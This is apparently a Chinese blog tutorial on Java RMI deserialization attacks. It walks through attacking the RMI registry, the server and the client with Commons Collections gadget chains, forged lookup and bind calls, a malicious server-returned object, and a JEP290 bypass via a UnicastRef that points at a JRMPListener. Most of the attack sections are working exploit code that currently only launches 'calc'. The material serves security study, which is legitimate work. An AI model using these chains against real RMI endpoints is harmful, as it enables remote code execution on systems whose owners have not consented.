RMI

RMI（Remote Method Invocation），为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中。

注册中心是一个特殊的服务端，一般与服务端在同一主机上

RMI流程

https://www.cnblogs.com/p1a0m1a0/p/17071632.html这篇中很详细的记录了各个流程

简单来说就是在注册中心、服务端、客户端三者交互时信息以序列化对象的形式进行传递。客户端把参数序列化发送，然后服务端反序列化读取接收。接着反过来，服务端把信息序列化发送，客户端反序列化接收，这样就构成了基本的攻击思路。

此外所有客户端的请求都会调用executeCall，其中会调用readObject，也就是JRMP协议。所以从服务端攻击客户端的手法多一种

一个简单的实例

服务端

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}

package org.example;

import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
    public void getUser() throws RemoteException;
    public void addUser(Object user) throws RemoteException;
}

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements  User{
    protected UserImpl() throws RemoteException {
    }

    @Override
    public void getUser() throws RemoteException {
        System.out.println("No user!");
    }
}

客户端

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

运行后在服务端显示

直接攻击

攻击注册中心

因为很多时候注册中心与服务端在同一主机，所以这里假设攻击从客户端发出，客户端与服务中心间的交互方式有bind、rebind、unbind、lookup和list

bind&rebind

以bind为例，rebind类似

基本就是沿用cc1，但因为bind函数实际参与反序列化的第二个参数的类型是Remote，所以要想办法将cc1构造的对象转化为Remote

    public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, IllegalAccessException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);       

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        //强制类型转换，
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
        registry.bind("test",r);

    }

lookup&unbind

bind和unbind穿的remote类型还可以强制类型转换一下，但lookup中只能传递string类型的对象，不能使用同一办法

但是服务端在反序列化时是不会检测类型的，所以我们可以自己伪造下lookup函数，让它可以传递其他类型

观察下lookup里的newCall发现用到了ref、this（就是注册中心）和operation，所以伪造时还要先获取下这几个参数

//换个cc6    
public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash()，进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下，而HashMap的put方法会间接触发tiedMapEntry的hashCode()，然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法，为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);



        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码，去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(map2);
        ref.invoke(var2);

其实上面的bind也可以通过伪造bind来传递其他类型的对象，方法类似

攻击服务端

同上，假设从客户端攻击

改写下上面实例中的User类，添加一个参数类型为object的方法

public void addUser(Object user) throws RemoteException;

然后在客户端尝试调用这个方法，参数为构造的恶意类，即可成功攻击

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(map2);

原因是客户端把这个参数序列化（marshalValue内的writeObject）传给服务端，服务端接收后反序列化（unmarshalValue）处理触发

攻击客户端

客户端攻击注册中心和服务器的手法只要反过来就可以攻击客户端

注册中心攻击客户端

思路是反向利用之前的bind、lookup等方法，以bind为例，bind在把序列化对象传给注册中心后接着会接受回传的消息，进而触发反序列化

这里偷懒模仿前人用下yeso里的JRMPListener，JRMPListener主要实现了rmi流程中的各种协议，包括各种ack之类的，总之核心目的就是把payload发给连接者

注册中心

客户端

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();//用其他几个也是一样的
//registry.lookup("1");

服务端攻击客户端

想想之前那个简单的实例，在服务端正经实现了getUser方法。如果不正经实现，并且return一个恶意对象，这样客户端接受到时就会触发命令执行

服务端

服务端构造恶意getUser

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
    public void addUser(Object user) throws RemoteException;
}

public Object getUser() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash()，进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下，而HashMap的put方法会间接触发tiedMapEntry的hashCode()，然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法，为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        return map2;
    }

UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);

客户端

客户端尝试正常调用getUser方法就会得到恶意对象触发反序列化执行命令

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();

值得注意的是客户端和服务端的User接口声明必须一样，否则会报错

高版本绕过

高版本中引入了JEP290，JEP290机制简单来说就是对反序列化的对象设置了白名单，影响的版本包括8u121、7u131 、6u141以及之后的版本，白名单包括

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

但过滤都是针对服务端和注册中心的，对针对客户端的攻击没有影响，所以一个思路就是让服务端以客户端的身份发出一个请求，接收我们的恶意对象

关于DGC

具体见这篇https://blog.csdn.net/qq_53264525/article/details/129348793

dgc是rmi的分布式垃圾回收模块，在创建远程对象时会执行这部分代码，dgc的处理流程与服务中心类似，同样有着skeleton和stub，二者的通过客户端的clean和dirty两个方法交流，其中dirty中存在反序列化点

再看skeleton，dispach中的case0和case1分别对应clean和dirty，都存在反序列化点

所以说不管是攻击服务端还是客户端，都可以通过dgc。dgc在低版本中也是可以用来直接攻击的，但这里主要关注在高版本绕过时的应用

绕过

根据前面分析可知当客户端调用dirty方法后会接收来自服务端的序列化对象，然后对其进行反序列化操作

发起dirty

首先我们找到调用dirty的地方，正常的流程是不会触发这段代码的（不然直接就能攻击了），所以目标是人为改变一些参数使得服务端会创建这个dgc，顺着找下去（有的类我下载的源码跟8u65里class反编译出来的不太一样，不过问题不大）

我们发现其实在服务端skel中很多地方都调用了releaseInputStream，也就说是很有希望能创建以DGC并发起一个dirty请求的，比如说在接受到bind时就会调用releaseInputStream

但是断在了这里，没能进入if，因为正常流程上incomingRefTable一直是空的

修改参数

如果我们可以修改incomingRefTable的参数，让服务端正常走入上段代码，就可以通过JRMPListener实现攻击

先看下incomingRefTable，这个HashMap存储了Endpoint信息，用于与另一实体进行通信。如果能把这个通信对象设置成恶意服务端就可以实现攻击

寻找incomingRefTable的赋值位置

readExternal的功能类似readObject，也会在反序列化时调用，而Unicastref又恰好在白名单里，所以攻击思路如下

涉及的对象有：客户端、服务端、伪造服务端（JRMPListener）

• 客户端构造UnicastRef对象，通过bind等方式传递给服务端，服务端读取UnicastRef后给incomingRefTable赋值
• 服务端反序列化UnicastRef，给incomingRefTable赋值，接着以客户端的身份向incomingRefTable指定的伪造服务端发起dirty请求
• 伪造服务端接收dirty请求，向服务端发送恶意对象（如cc1），由于在这个过程中服务端的身份是客户端，所以不会触发JEP290的过滤，服务端直接反序列化恶意对象，实现rce

在一个正常的rmi流程中，客户端通过getResgistry得到的注册中心实质上是一个封装了UnicastRef对象的对象，在后续bind等方法时就是通过UnicastRef中储存的信息与注册中心交互。所以当我们把一个包含了恶意服务端信息的UnicastRef传给服务端时，服务端就可以通过这个UnicastRef与恶意服务端交互

客户端

public class RMIClient {
    public static void main(String[] args) throws Exception {
    	Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);//服务端
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 4399);//恶意服务端
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
                
        //和前面直接攻击伪造lookup一样
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);

        //获取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码，去伪造传输信息
        RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(ref);
        ref2.invoke(var2);
    }
}

服务端

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}

恶意服务端

总结

直接攻击就是想办法把已学的cc链往rmi的传输结构上套，麻烦的地方还是rmi本身吧

绕过JEP290的地方相当于一个二次反序列化

总之暂且过了一遍rmi，有些地方分析的还是比较乱，以后有机会动态调试再研究研究

参考

https://xz.aliyun.com/t/9053

https://www.cnblogs.com/escape-w/p/16107675.html 更多版本的区别

本栏目推荐文章
• 代码随想录 day18 找树左下角的值 路径总和 从中序与后序遍历序列构造二叉树
• 深入探索JVM：理解Java程序在虚拟机中的存储和管理
• 用jacoco统计JAVA项目测试代码覆盖率
• Java实现在线编辑预览office文档
• 【LeetCode 2701. 连续递增交易】MySQL用户变量编程得到严格递增连续子序列的开始位置，结束位置，长度等统计信息
• python经典有序序列的list列表推导式
• Java小细节之缩进中if 和else的对应关系
• 【Leetcode 2474. 购买量严格增加的客户】MySQL用户变量编程解决严格递增连续子序列问题
• 春眠不觉晓，Java数据类型知多少？基础牢不牢看完本文就有数了
• idea 中java代码修改后运行代码不生效

序列 java RMI序列java rmi 过程java rmi rpc rmi rmi_keystore module quot container rmi 序列java filenotfoundexception分布式rmi_keystore 漏洞分析 漏洞rmi 序列 漏洞urldns java 序列urldns java